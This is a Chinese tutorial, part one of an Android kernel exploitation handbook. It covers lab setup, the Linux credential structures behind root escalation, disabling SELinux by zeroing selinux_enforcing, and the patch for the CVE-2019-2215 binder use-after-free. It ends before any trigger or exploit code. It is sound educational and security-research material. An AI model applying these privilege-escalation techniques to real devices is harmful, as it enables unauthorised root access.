Android 内核漏洞分析和利用学习手册(上)
2020-08-18 11:40:00 Author: www.4hou.com(查看原文) 阅读量:325 收藏

写这个手册目的是为了学习在Android平台上的内核漏洞分析和漏洞利用开发,顺便记录一下过程。

0x01 环境配置

整个分析和开发将在虚拟环境中完成,以便于访问和调试。

硬体需求

· 40 GB可用硬盘空间

· 8 GB以上的RAM

· 多核处理器

软件需求

对于漏洞分析,我们将需要在Ubuntu 18.04 LTS主机上安装以下给定的工具项。但也支持Windows,Mac OSX和其他操作系统。

· GDB

· Workshop Repository

· Android Studio

· Android NDK

· Android虚拟设备

· Android内核源码

GDB

打开一个终端窗口,然后键入以下给定的命令验证是否已安装GDB,将需要使用python 2.7和支持编译的GDB。

 ashfaq@hacksys:~$ gdb --version
 GNU gdb (GDB) 8.2
 Copyright (C) 2018 Free Software Foundation, Inc.
 License GPLv3+: GNU GPL version 3 or later  This is free software: you are free to change and redistribute it.
 There is NO WARRANTY, to the extent permitted by law.
 
 ashfaq@hacksys:~$ gdb -quiet          
 GEF for linux ready, type `gef' to start, `gef config' to configure
 77 commands loaded for GDB 8.2 using Python engine 2.7
 [*] 3 commands could not be loaded, run `gef missing` to know why.
 gef> py
 >import sys
 >print sys.version_info
 >end
 sys.version_info(major=2, minor=7, micro=17, releaselevel='final', serial=0)
 gef> q
 
 ashfaq@hacksys:~$ readelf -d $(which gdb) | grep python
  0x0000000000000001 (NEEDED)             Shared library: [libpython2.7.so.1.0]
 
 ashfaq@hacksys:~$ python --version
 Python 2.7.17

如果你的系统中未安装GDB,请确保在python 2.7支持下进行安装。

Workshop Repository

打开一个终端窗口并键入下面给出命令clone资源库。

 ashfaq@hacksys:~$ git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop

Android Studio

可以在这里找到Android Studio的安装说明https://developer.android.com/studio/install

Android Studio安装完成,要确保添加~/Android/Sdk/platform-tools和~/Android/Sdk/emulator的PATH环境变量。这将允许在不指定完整路径的情况下可以使用adb和emulator命令。

Android NDK

你可以在以下网址找到Android NDK的安装说明:https://developer.android.com/studio/projects/install-ndk

我当前正在使用Android NDK版本:21.0.6113669。

Android虚拟设备

在本分析中,我们将使用Android 10.0(Q) Google Play Intel x86 Atom_64 System Image。

下载完系统映像后,必须创建一个虚拟设备。

你也可以从命令行启动我们要创建的虚拟设备。

 ashfaq@hacksys:~/workshop$ emulator -avd CVE-2019-2215

Android内核源码

Android由Linux内核提供支持。在本次分析中,我们将使用q-goldfish-android-goldfish-4.14-devAndroid内核源代码存储库的分支。

有关为Android构建自定义内核的更多信息,请访问https://source.android.com/setup/build/building-kernels

Google建议用repo同步内核源代码树。在此处了解repo更多信息:https : //gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md

repo安装完成,现在就可以开始同步内核源代码树,需要下载必要的构建工具。

我们不想下载包含所有提交历史记录和不同分支的存储库。因此,我们将进行shallow clone。

目前,我正在使用ID提交,命令会允许我们指定要clone的提交ID。因此,我创建了一个自定义清单文件182a76ba7053af521e4c0d5fd62134f1e323191d ,在repo初始化后将替换该清单文件。

image.png

我在此自定义清单中所做的唯一更改是在修订属性中指定了提交哈希。

image.png

注意:大约需要12 GB的磁盘空间,因此在运行以下命令之前,请确保计算机上有足够的空间。

 ashfaq@hacksys:~$ mkdir ~/workshop
 ashfaq@hacksys:~$ cd workshop/
 ashfaq@hacksys:~/workshop$ mkdir android-4.14-dev
 ashfaq@hacksys:~/workshop$ cd android-4.14-dev/
 ashfaq@hacksys:~/workshop/android-4.14-dev$ repo init --depth=1 -u https://android.googlesource.com/kernel/manifest -b q-goldfish-android-goldfish-4.14-dev
 ashfaq@hacksys:~/workshop/android-4.14-dev$ cp ../custom-manifest/default.xml .repo/manifests/
 ashfaq@hacksys:~/workshop/android-4.14-dev$ repo sync -c --no-tags --no-clone-bundle -j`nproc`

同步了源代码树后,就可以继续进行分析。

0x02 Linux 内核提权

本次分析的最终目标是使用Android内核漏洞来实现内核提权,也就是得到root权限。在Linux中, root超级用户是uid=0(root) gid=0(root)并具有所有访问权限。

轻量级进程

Linux使用轻量级进程来实现更好的支持多线程。每个轻量级进程都分配有一个过程描述符,称为task_struct,并在include/linux/sched.h中定义。

 struct task_struct {
 #ifdef CONFIG_THREAD_INFO_IN_TASK
         /*
          * For reasons of header soup (see current_thread_info()), this
          * must be the first element of task_struct.
          */
         struct thread_info              thread_info;
 #endif
         /* -1 unrunnable, 0 runnable, >0 stopped: */
         volatile long                   state;
 
         /*
          * This begins the randomizable portion of task_struct. Only
          * scheduling-critical items should be added above here.
          */
         randomized_struct_fields_start
 
         void                            *stack;
         atomic_t                        usage;
         /* Per task flags (PF_*), defined further below: */
         unsigned int                    flags;
         unsigned int                    ptrace;
 
 #ifdef CONFIG_SMP
         struct llist_node               wake_entry;
         int                             on_cpu;
 #ifdef CONFIG_THREAD_INFO_IN_TASK
         /* Current CPU: */
         unsigned int                    cpu;
 #endif
         unsigned int                    wakee_flips;
         unsigned long                   wakee_flip_decay_ts;
         struct task_struct              *last_wakee;
 
         int                             wake_cpu;
 #endif
         int                             on_rq;
 
         int                             prio;
         int                             static_prio;
         int                             normal_prio;
         unsigned int                    rt_priority;
 
         const struct sched_class        *sched_class;
         struct sched_entity             se;
         struct sched_rt_entity          rt;
 #ifdef CONFIG_SCHED_WALT
         struct ravg ravg;
         /*
          * 'init_load_pct' represents the initial task load assigned to children
          * of this task
          */
         u32 init_load_pct;
         u64 last_sleep_ts;
 #endif
 
 #ifdef CONFIG_CGROUP_SCHED
         struct task_group               *sched_task_group;
 #endif
         struct sched_dl_entity          dl;
 
 #ifdef CONFIG_PREEMPT_NOTIFIERS
         /* List of struct preempt_notifier: */
         struct hlist_head               preempt_notifiers;
 #endif
 
 #ifdef CONFIG_BLK_DEV_IO_TRACE
         unsigned int                    btrace_seq;
 #endif
 
         unsigned int                    policy;
         int                             nr_cpus_allowed;
         cpumask_t                       cpus_allowed;
 
 #ifdef CONFIG_PREEMPT_RCU
         int                             rcu_read_lock_nesting;
         union rcu_special               rcu_read_unlock_special;
         struct list_head                rcu_node_entry;
         struct rcu_node                 *rcu_blocked_node;
 #endif /* #ifdef CONFIG_PREEMPT_RCU */
 
 #ifdef CONFIG_TASKS_RCU
         unsigned long                   rcu_tasks_nvcsw;
         u8                              rcu_tasks_holdout;
         u8                              rcu_tasks_idx;
         int                             rcu_tasks_idle_cpu;
         struct list_head                rcu_tasks_holdout_list;
 #endif /* #ifdef CONFIG_TASKS_RCU */
 
         struct sched_info               sched_info;
 
         struct list_head                tasks;
 #ifdef CONFIG_SMP
         struct plist_node               pushable_tasks;
         struct rb_node                  pushable_dl_tasks;
 #endif
 
         struct mm_struct                *mm;
         struct mm_struct                *active_mm;
 
         /* Per-thread vma caching: */
         struct vmacache                 vmacache;
 
 #ifdef SPLIT_RSS_COUNTING
         struct task_rss_stat            rss_stat;
 #endif
         int                             exit_state;
         int                             exit_code;
         int                             exit_signal;
         /* The signal sent when the parent dies: */
         int                             pdeath_signal;
         /* JOBCTL_*, siglock protected: */
         unsigned long                   jobctl;
 
         /* Used for emulating ABI behavior of previous Linux versions: */
         unsigned int                    personality;
 
         /* Scheduler bits, serialized by scheduler locks: */
         unsigned                        sched_reset_on_fork:1;
         unsigned                        sched_contributes_to_load:1;
         unsigned                        sched_migrated:1;
         unsigned                        sched_remote_wakeup:1;
 #ifdef CONFIG_PSI
         unsigned                        sched_psi_wake_requeue:1;
 #endif
 
         /* Force alignment to the next boundary: */
         unsigned                        :0;
 
         /* Unserialized, strictly 'current' */
 
         /* Bit to tell LSMs we're in execve(): */
         unsigned                        in_execve:1;
         unsigned                        in_iowait:1;
 #ifndef TIF_RESTORE_SIGMASK
         unsigned                        restore_sigmask:1;
 #endif
 #ifdef CONFIG_MEMCG
         unsigned                        memcg_may_oom:1;
 #ifndef CONFIG_SLOB
         unsigned                        memcg_kmem_skip_account:1;
 #endif
 #endif
 #ifdef CONFIG_COMPAT_BRK
         unsigned                        brk_randomized:1;
 #endif
 #ifdef CONFIG_CGROUPS
         /* disallow userland-initiated cgroup migration */
         unsigned                        no_cgroup_migration:1;
 #endif
 
         unsigned long                   atomic_flags; /* Flags requiring atomic access. */
 
         struct restart_block            restart_block;
 
         pid_t                           pid;
         pid_t                           tgid;
 
 #ifdef CONFIG_CC_STACKPROTECTOR
         /* Canary value for the -fstack-protector GCC feature: */
         unsigned long                   stack_canary;
 #endif
         /*
          * Pointers to the (original) parent process, youngest child, younger sibling,
          * older sibling, respectively.  (p->father can be replaced with
          * p->real_parent->pid)
          */
 
         /* Real parent process: */
         struct task_struct __rcu        *real_parent;
 
         /* Recipient of SIGCHLD, wait4() reports: */
         struct task_struct __rcu        *parent;
 
         /*
          * Children/sibling form the list of natural children:
          */
         struct list_head                children;
         struct list_head                sibling;
         struct task_struct              *group_leader;
 
         /*
          * 'ptraced' is the list of tasks this task is using ptrace() on.
          *
          * This includes both natural children and PTRACE_ATTACH targets.
          * 'ptrace_entry' is this task's link on the p->parent->ptraced list.
          */
         struct list_head                ptraced;
         struct list_head                ptrace_entry;
 
         /* PID/PID hash table linkage. */
         struct pid_link                 pids[PIDTYPE_MAX];
         struct list_head                thread_group;
         struct list_head                thread_node;
 
         struct completion               *vfork_done;
 
         /* CLONE_CHILD_SETTID: */
         int __user                      *set_child_tid;
 
         /* CLONE_CHILD_CLEARTID: */
         int __user                      *clear_child_tid;
 
         u64                             utime;
         u64                             stime;
 #ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME
         u64                             utimescaled;
         u64                             stimescaled;
 #endif
         u64                             gtime;
 #ifdef CONFIG_CPU_FREQ_TIMES
         u64                             *time_in_state;
         unsigned int                    max_state;
 #endif
         struct prev_cputime             prev_cputime;
 #ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN
         struct vtime                    vtime;
 #endif
 
 #ifdef CONFIG_NO_HZ_FULL
         atomic_t                        tick_dep_mask;
 #endif
         /* Context switch counts: */
         unsigned long                   nvcsw;
         unsigned long                   nivcsw;
 
         /* Monotonic time in nsecs: */
         u64                             start_time;
 
         /* Boot based time in nsecs: */
         u64                             real_start_time;
 
         /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */
         unsigned long                   min_flt;
         unsigned long                   maj_flt;
 
 #ifdef CONFIG_POSIX_TIMERS
         struct task_cputime             cputime_expires;
         struct list_head                cpu_timers[3];
 #endif
 
         /* Process credentials: */
 
         /* Tracer's credentials at attach: */
         const struct cred __rcu         *ptracer_cred;
 
         /* Objective and real subjective task credentials (COW): */
         const struct cred __rcu         *real_cred;
 
         /* Effective (overridable) subjective task credentials (COW): */
         const struct cred __rcu         *cred;
 
         /*
          * executable name, excluding path.
          *
          * - normally initialized setup_new_exec()
          * - access it with [gs]et_task_comm()
          * - lock it with task_lock()
          */
         char                            comm[TASK_COMM_LEN];
 
         struct nameidata                *nameidata;
 
 #ifdef CONFIG_SYSVIPC
         struct sysv_sem                 sysvsem;
         struct sysv_shm                 sysvshm;
 #endif
 #ifdef CONFIG_DETECT_HUNG_TASK
         unsigned long                   last_switch_count;
 #endif
         /* Filesystem information: */
         struct fs_struct                *fs;
 
         /* Open file information: */
         struct files_struct             *files;
 
         /* Namespaces: */
         struct nsproxy                  *nsproxy;
 
         /* Signal handlers: */
         struct signal_struct            *signal;
         struct sighand_struct           *sighand;
         sigset_t                        blocked;
         sigset_t                        real_blocked;
         /* Restored if set_restore_sigmask() was used: */
         sigset_t                        saved_sigmask;
         struct sigpending               pending;
         unsigned long                   sas_ss_sp;
         size_t                          sas_ss_size;
         unsigned int                    sas_ss_flags;
 
         struct callback_head            *task_works;
 
         struct audit_context            *audit_context;
 #ifdef CONFIG_AUDITSYSCALL
         kuid_t                          loginuid;
         unsigned int                    sessionid;
 #endif
         struct seccomp                  seccomp;
 
         /* Thread group tracking: */
         u32                             parent_exec_id;
         u32                             self_exec_id;
 
         /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
         spinlock_t                      alloc_lock;
 
         /* Protection of the PI data structures: */
         raw_spinlock_t                  pi_lock;
 
         struct wake_q_node              wake_q;
 
 #ifdef CONFIG_RT_MUTEXES
         /* PI waiters blocked on a rt_mutex held by this task: */
         struct rb_root_cached           pi_waiters;
         /* Updated under owner's pi_lock and rq lock */
         struct task_struct              *pi_top_task;
         /* Deadlock detection and priority inheritance handling: */
         struct rt_mutex_waiter          *pi_blocked_on;
 #endif
 
 #ifdef CONFIG_DEBUG_MUTEXES
         /* Mutex deadlock detection: */
         struct mutex_waiter             *blocked_on;
 #endif
 
 #ifdef CONFIG_TRACE_IRQFLAGS
         unsigned int                    irq_events;
         unsigned long                   hardirq_enable_ip;
         unsigned long                   hardirq_disable_ip;
         unsigned int                    hardirq_enable_event;
         unsigned int                    hardirq_disable_event;
         int                             hardirqs_enabled;
         int                             hardirq_context;
         unsigned long                   softirq_disable_ip;
         unsigned long                   softirq_enable_ip;
         unsigned int                    softirq_disable_event;
         unsigned int                    softirq_enable_event;
         int                             softirqs_enabled;
         int                             softirq_context;
 #endif
 
 #ifdef CONFIG_LOCKDEP
 # define MAX_LOCK_DEPTH                 48UL
         u64                             curr_chain_key;
         int                             lockdep_depth;
         unsigned int                    lockdep_recursion;
         struct held_lock                held_locks[MAX_LOCK_DEPTH];
 #endif
 
 #ifdef CONFIG_LOCKDEP_CROSSRELEASE
 #define MAX_XHLOCKS_NR 64UL
         struct hist_lock *xhlocks; /* Crossrelease history locks */
         unsigned int xhlock_idx;
         /* For restoring at history boundaries */
         unsigned int xhlock_idx_hist[XHLOCK_CTX_NR];
         unsigned int hist_id;
         /* For overwrite check at each context exit */
         unsigned int hist_id_save[XHLOCK_CTX_NR];
 #endif
 
 #ifdef CONFIG_UBSAN
         unsigned int                    in_ubsan;
 #endif
 
         /* Journalling filesystem info: */
         void                            *journal_info;
 
         /* Stacked block device info: */
         struct bio_list                 *bio_list;
 
 #ifdef CONFIG_BLOCK
         /* Stack plugging: */
         struct blk_plug                 *plug;
 #endif
 
         /* VM state: */
         struct reclaim_state            *reclaim_state;
 
         struct backing_dev_info         *backing_dev_info;
 
         struct io_context               *io_context;
 
         /* Ptrace state: */
         unsigned long                   ptrace_message;
         siginfo_t                       *last_siginfo;
 
         struct task_io_accounting       ioac;
 #ifdef CONFIG_PSI
         /* Pressure stall state */
         unsigned int                    psi_flags;
 #endif
 #ifdef CONFIG_TASK_XACCT
         /* Accumulated RSS usage: */
         u64                             acct_rss_mem1;
         /* Accumulated virtual memory usage: */
         u64                             acct_vm_mem1;
         /* stime + utime since last update: */
         u64                             acct_timexpd;
 #endif
 #ifdef CONFIG_CPUSETS
         /* Protected by ->alloc_lock: */
         nodemask_t                      mems_allowed;
         /* Seqence number to catch updates: */
         seqcount_t                      mems_allowed_seq;
         int                             cpuset_mem_spread_rotor;
         int                             cpuset_slab_spread_rotor;
 #endif
 #ifdef CONFIG_CGROUPS
         /* Control Group info protected by css_set_lock: */
         struct css_set __rcu            *cgroups;
         /* cg_list protected by css_set_lock and tsk->alloc_lock: */
         struct list_head                cg_list;
 #endif
 #ifdef CONFIG_INTEL_RDT
         u32                             closid;
         u32                             rmid;
 #endif
 #ifdef CONFIG_FUTEX
         struct robust_list_head __user  *robust_list;
 #ifdef CONFIG_COMPAT
         struct compat_robust_list_head __user *compat_robust_list;
 #endif
         struct list_head                pi_state_list;
         struct futex_pi_state           *pi_state_cache;
 #endif
 #ifdef CONFIG_PERF_EVENTS
         struct perf_event_context       *perf_event_ctxp[perf_nr_task_contexts];
         struct mutex                    perf_event_mutex;
         struct list_head                perf_event_list;
 #endif
 #ifdef CONFIG_DEBUG_PREEMPT
         unsigned long                   preempt_disable_ip;
 #endif
 #ifdef CONFIG_NUMA
         /* Protected by alloc_lock: */
         struct mempolicy                *mempolicy;
         short                           il_prev;
         short                           pref_node_fork;
 #endif
 #ifdef CONFIG_NUMA_BALANCING
         int                             numa_scan_seq;
         unsigned int                    numa_scan_period;
         unsigned int                    numa_scan_period_max;
         int                             numa_preferred_nid;
         unsigned long                   numa_migrate_retry;
         /* Migration stamp: */
         u64                             node_stamp;
         u64                             last_task_numa_placement;
         u64                             last_sum_exec_runtime;
         struct callback_head            numa_work;
 
         struct list_head                numa_entry;
         struct numa_group               *numa_group;
 
         /*
          * numa_faults is an array split into four regions:
          * faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer
          * in this precise order.
          *
          * faults_memory: Exponential decaying average of faults on a per-node
          * basis. Scheduling placement decisions are made based on these
          * counts. The values remain static for the duration of a PTE scan.
          * faults_cpu: Track the nodes the process was running on when a NUMA
          * hinting fault was incurred.
          * faults_memory_buffer and faults_cpu_buffer: Record faults per node
          * during the current scan window. When the scan completes, the counts
          * in faults_memory and faults_cpu decay and these values are copied.
          */
         unsigned long                   *numa_faults;
         unsigned long                   total_numa_faults;
 
         /*
          * numa_faults_locality tracks if faults recorded during the last
          * scan window were remote/local or failed to migrate. The task scan
          * period is adapted based on the locality of the faults with different
          * weights depending on whether they were shared or private faults
          */
         unsigned long                   numa_faults_locality[3];
 
         unsigned long                   numa_pages_migrated;
 #endif /* CONFIG_NUMA_BALANCING */
 
         struct tlbflush_unmap_batch     tlb_ubc;
 
         struct rcu_head                 rcu;
 
         /* Cache last used pipe for splice(): */
         struct pipe_inode_info          *splice_pipe;
 
         struct page_frag                task_frag;
 
 #ifdef CONFIG_TASK_DELAY_ACCT
         struct task_delay_info          *delays;
 #endif
 
 #ifdef CONFIG_FAULT_INJECTION
         int                             make_it_fail;
         unsigned int                    fail_nth;
 #endif
         /*
          * When (nr_dirtied >= nr_dirtied_pause), it's time to call
          * balance_dirty_pages() for a dirty throttling pause:
          */
         int                             nr_dirtied;
         int                             nr_dirtied_pause;
         /* Start of a write-and-pause period: */
         unsigned long                   dirty_paused_when;
 
 #ifdef CONFIG_LATENCYTOP
         int                             latency_record_count;
         struct latency_record           latency_record[LT_SAVECOUNT];
 #endif
         /*
          * Time slack values; these are used to round up poll() and
          * select() etc timeout values. These are in nanoseconds.
          */
         u64                             timer_slack_ns;
         u64                             default_timer_slack_ns;
 
 #ifdef CONFIG_KASAN
         unsigned int                    kasan_depth;
 #endif
 
 #ifdef CONFIG_FUNCTION_GRAPH_TRACER
         /* Index of current stored address in ret_stack: */
         int                             curr_ret_stack;
 
         /* Stack of return addresses for return function tracing: */
         struct ftrace_ret_stack         *ret_stack;
 
         /* Timestamp for last schedule: */
         unsigned long long              ftrace_timestamp;
 
         /*
          * Number of functions that haven't been traced
          * because of depth overrun:
          */
         atomic_t                        trace_overrun;
 
         /* Pause tracing: */
         atomic_t                        tracing_graph_pause;
 #endif
 
 #ifdef CONFIG_TRACING
         /* State flags for use by tracers: */
         unsigned long                   trace;
 
         /* Bitmask and counter of trace recursion: */
         unsigned long                   trace_recursion;
 #endif /* CONFIG_TRACING */
 
 #ifdef CONFIG_KCOV
         /* Coverage collection mode enabled for this task (0 if disabled): */
         enum kcov_mode                  kcov_mode;
 
         /* Size of the kcov_area: */
         unsigned int                    kcov_size;
 
         /* Buffer for coverage collection: */
         void                            *kcov_area;
 
         /* KCOV descriptor wired with this task or NULL: */
         struct kcov                     *kcov;
 #endif
 
 #ifdef CONFIG_MEMCG
         struct mem_cgroup               *memcg_in_oom;
         gfp_t                           memcg_oom_gfp_mask;
         int                             memcg_oom_order;
 
         /* Number of pages to reclaim on returning to userland: */
         unsigned int                    memcg_nr_pages_over_high;
 #endif
 
 #ifdef CONFIG_UPROBES
         struct uprobe_task              *utask;
 #endif
 #if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)
         unsigned int                    sequential_io;
         unsigned int                    sequential_io_avg;
 #endif
 #ifdef CONFIG_DEBUG_ATOMIC_SLEEP
         unsigned long                   task_state_change;
 #endif
         int                             pagefault_disabled;
 #ifdef CONFIG_MMU
         struct task_struct              *oom_reaper_list;
 #endif
 #ifdef CONFIG_VMAP_STACK
         struct vm_struct                *stack_vm_area;
 #endif
 #ifdef CONFIG_THREAD_INFO_IN_TASK
         /* A live task holds one reference: */
         atomic_t                        stack_refcount;
 #endif
 #ifdef CONFIG_LIVEPATCH
         int patch_state;
 #endif
 #ifdef CONFIG_SECURITY
         /* Used by LSM modules for access restriction: */
         void                            *security;
 #endif
 
         /*
          * New fields for task_struct should be added above here, so that
          * they are included in the randomized portion of task_struct.
          */
         randomized_struct_fields_end
 
         /* CPU-specific state of this task: */
         struct thread_struct            thread;
 
         /*
          * WARNING: on x86, 'thread_struct' contains a variable-sized
          * structure.  It *MUST* be at the end of 'task_struct'.
          *
          * Do not put anything below here!
          */
 };

该数据结构包含管理流程的所有信息,在此task_struct结构中,最有意思的成员之一是cred。

进程凭证

任务的安全性上下文由struct cred定义,并在include/linux/cred.h中定义。

 struct cred {
         atomic_t        usage;
 #ifdef CONFIG_DEBUG_CREDENTIALS
         atomic_t        subscribers;    /* number of processes subscribed */
         void            *put_addr;
         unsigned        magic;
 #define CRED_MAGIC      0x43736564
 #define CRED_MAGIC_DEAD 0x44656144
 #endif
         kuid_t          uid;            /* real UID of the task */
         kgid_t          gid;            /* real GID of the task */
         kuid_t          suid;           /* saved UID of the task */
         kgid_t          sgid;           /* saved GID of the task */
         kuid_t          euid;           /* effective UID of the task */
         kgid_t          egid;           /* effective GID of the task */
         kuid_t          fsuid;          /* UID for VFS ops */
         kgid_t          fsgid;          /* GID for VFS ops */
         unsigned        securebits;     /* SUID-less security management */
         kernel_cap_t    cap_inheritable; /* caps our children can inherit */
         kernel_cap_t    cap_permitted;  /* caps we're permitted */
         kernel_cap_t    cap_effective;  /* caps we can actually use */
         kernel_cap_t    cap_bset;       /* capability bounding set */
         kernel_cap_t    cap_ambient;    /* Ambient capability set */
 #ifdef CONFIG_KEYS
         unsigned char   jit_keyring;    /* default keyring to attach requested
                                          * keys to */
         struct key __rcu *session_keyring; /* keyring inherited over fork */
         struct key      *process_keyring; /* keyring private to this process */
         struct key      *thread_keyring; /* keyring private to this thread */
         struct key      *request_key_auth; /* assumed request_key authority */
 #endif
 #ifdef CONFIG_SECURITY
         void            *security;      /* subjective LSM security */
 #endif
         struct user_struct *user;       /* real user ID subscription */
         struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
         struct group_info *group_info;  /* supplementary groups for euid/fsgid */
         /* RCU deletion */
         union {
                 int non_rcu;                    /* Can we skip RCU deletion? */
                 struct rcu_head rcu;            /* RCU deletion hook */
         };
 } __randomize_layout;

在大多数Linux 内核漏洞利用中,你必须已经了解root权限的实现原理和使用方法。

 commit_creds(prepare_kernel_cred(NULL));

尝试研究这两个函数并查看它们的作用。首先,让我们看一下在kernel/cred.c中定义的prepare_kernel_cred函数。

 struct cred *prepare_kernel_cred(struct task_struct *daemon)
 {
         const struct cred *old;
         struct cred *new;
 
         new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
         if (!new)
                 return NULL;
 
         kdebug("prepare_kernel_cred() alloc %p", new);
 
         if (daemon)
                 old = get_task_cred(daemon);
         else
                 old = get_cred(&init_cred);
 
         validate_creds(old);
 
         *new = *old;
         [...]
         validate_creds(new);
         return new;
 
 error:
         [...]
         return NULL;
 }

该函数使用了task_struct,需要找一下内核指针。如果我们为该函数提供NULL指向task_struct的指针,它将获得默认凭证init_cred。init_cred是kernel/cred.c中定义的全局struct cred,用于初始化Linux中init_task的第一项任务凭证。

 /*
  * The initial credentials for the initial task
  */
 struct cred init_cred = {
         .usage                  = ATOMIC_INIT(4),
 #ifdef CONFIG_DEBUG_CREDENTIALS
         .subscribers            = ATOMIC_INIT(2),
         .magic                  = CRED_MAGIC,
 #endif
         .uid                    = GLOBAL_ROOT_UID,
         .gid                    = GLOBAL_ROOT_GID,
         .suid                   = GLOBAL_ROOT_UID,
         .sgid                   = GLOBAL_ROOT_GID,
         .euid                   = GLOBAL_ROOT_UID,
         .egid                   = GLOBAL_ROOT_GID,
         .fsuid                  = GLOBAL_ROOT_UID,
         .fsgid                  = GLOBAL_ROOT_GID,
         .securebits             = SECUREBITS_DEFAULT,
         .cap_inheritable        = CAP_EMPTY_SET,
         .cap_permitted          = CAP_FULL_SET,
         .cap_effective          = CAP_FULL_SET,
         .cap_bset               = CAP_FULL_SET,
         .user                   = INIT_USER,
         .user_ns                = &init_user_ns,
         .group_info             = &init_groups,
 };

看看这些定义的含义。

 #define GLOBAL_ROOT_UID     (uint32_t)0
 #define GLOBAL_ROOT_GID     (uint32_t)0
 #define SECUREBITS_DEFAULT  (uint32_t)0x00000000
 #define CAP_EMPTY_SET       (uint64_t)0
 #define CAP_FULL_SET        (uint64_t)0x3FFFFFFFFF

init_cred的cred结构设置如下所示。

 cred->uid = 0;
 cred->gid = 0;
 cred->suid = 0;
 cred->idid = 0;
 cred->euid = 0;
 cred->egid = 0;
 cred->fsuid = 0;
 cred->fsgid = 0;
 cred->securebits = 0;
 cred->cap_inheritable.cap[0] = 0;
 cred->cap_inheritable.cap[1] = 0;
 cred->cap_permitted.cap[0] = 0x3F;
 cred->cap_permitted.cap[1] = 0xFFFFFFFF;
 cred->cap_effective.cap[0] = 0x3F;
 cred->cap_effective.cap[1] = 0xFFFFFFFF;
 cred->cap_bset.cap[0] = 0x3F;
 cred->cap_bset.cap[1] = 0xFFFFFFFF;
 cred->cap_ambient.cap[0] = 0;
 cred->cap_ambient.cap[1] = 0;

看一下commit_creds函数尝试了解它的作用。

 int commit_creds(struct cred *new)
 {
         struct task_struct *task = current;
         const struct cred *old = task->real_cred;
 
         [...]
 
         rcu_assign_pointer(task->real_cred, new);
         rcu_assign_pointer(task->cred, new);
 
         [...]
 
         return 0;
 }

commit_creds基本上将task->real_cred和task->cred设置为具有指向新cred结构的指针。发送NULL到prepare_kernel_cred的init_cred地址,这样就可以得到root权限。

SELinux

SELinux是由国家安全局(NSA)使用Linux安全模块(LSM)开发的。

SELinux有两种模式

· 允许 - 会记录拒绝权限但不会强制执行

· 强制执行 - 记录并强制执行拒绝权限

在Android中,SELinux的默认模式是强制执行,即使我们获得root身份,我们也要遵守SELinux规则。

 generic_x86_64:/ $ getenforce                                                                                      
 Enforcing

因此,还需要禁用SELinux。

selinux_enforcing

selinux_enforcing是决定是否全局变量的SELinux被强制执行或不执行。如果可以找出selinux_enforcing内存中的位置并将其设置为NULL,则可以全局禁用SELinux,现在SELinux将处于许可模式。

SecComp

SecComp代表安全计算模式,它是一种Linux内核功能,可以过滤系统调用。启用后,只能使用4个系统调用:read(),write(),exit(),和sigreturn()。

从shell 运行漏洞利用程序时,adb不会受到seccomp的影响。但是,如果将漏洞利用包捆绑在Android应用程序中,则会受到seccomp的攻击。

在本分析中,我们将不讨论seccomp。

0x03 漏洞挖掘

下面我们将研究Binder IPC子系统中的CVE-2019-2215 Use after Free漏洞。

这是一个非常严重的漏洞,因为可以从Chrome沙箱访问binder子系统,如果将其与渲染器漏洞链接在一起,则可能导致内核提权。

漏洞发现

该漏洞最初是由syzbot(syzkaller bot)在2017年11月发现,可以在这里找到原始漏洞报告:https://groups.google.com/forum/#!msg/syzkaller-bugs/QyXdgUhAF50/eLGkcwk9AQAJ

该漏洞于2018年2月修复,没有分配CVE编号,因此,该补丁程序并未移植到许多已经发布的设备上,例如Pixel和Pixel 2。

复现挖掘

此漏洞是由Project Zero的麦迪斯通(@maddiestone)在谷歌的情报报告威胁分析(TAG)基础上重新发现的 。她于2019年9月27日报告了此漏洞。你可以在这里找到Maddie的报告https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

重新挖掘此漏洞非常有趣,Maddie在此处把漏洞利用过程记录下来了:https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html

我强烈建议大家阅读此文章,以便你了解有关重新发现此bug的方法。

补丁分析

这个bug的补丁是q-goldfish-android-goldfish-4.14-dev,提交ID是 7a3cee43e935b9d526ad07f20bf005ba7e74d05b。

 ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/
 ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git show 7a3cee43e935b9d526ad07f20bf005ba7e74d05b
 commit 7a3cee43e935b9d526ad07f20bf005ba7e74d05b
 Author: Martijn Coenen  Date:   Fri Jan 5 11:27:07 2018 +0100
 
     ANDROID: binder: remove waitqueue when thread exits.
 
     commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f upstream.
 
     binder_poll() passes the thread->wait waitqueue that
     can be slept on for work. When a thread that uses
     epoll explicitly exits using BINDER_THREAD_EXIT,
     the waitqueue is freed, but it is never removed
     from the corresponding epoll data structure. When
     the process subsequently exits, the epoll cleanup
     code tries to access the waitlist, which results in
     a use-after-free.
 
     Prevent this by using POLLFREE when the thread exits.
 
     Signed-off-by: Martijn Coenen      Reported-by: syzbot      Signed-off-by: Greg Kroah-Hartman  
 diff --git a/drivers/android/binder.c b/drivers/android/binder.c
 index a340766b51fe..2ef8bd29e188 100644
 --- a/drivers/android/binder.c
 +++ b/drivers/android/binder.c
 @@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,
                 if (t)
                         spin_lock(&t->lock);
         }
 +
 +       /*
 +        * If this thread used poll, make sure we remove the waitqueue
 +        * from any epoll data structures holding it with POLLFREE.
 +        * waitqueue_active() is safe to use here because we're holding
 +        * the inner lock.
 +        */
 +       if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
 +           waitqueue_active(&thread->wait)) {
 +               wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
 +       }
 +
         binder_inner_proc_unlock(thread->proc);
 
         if (send_reply)

注意:因为做了shallow clone,所以将无法看到此提交历史记录。但是,我有该分支的完整cloneq-goldfish-android-goldfish-4.14-dev。

0x04 漏洞触发

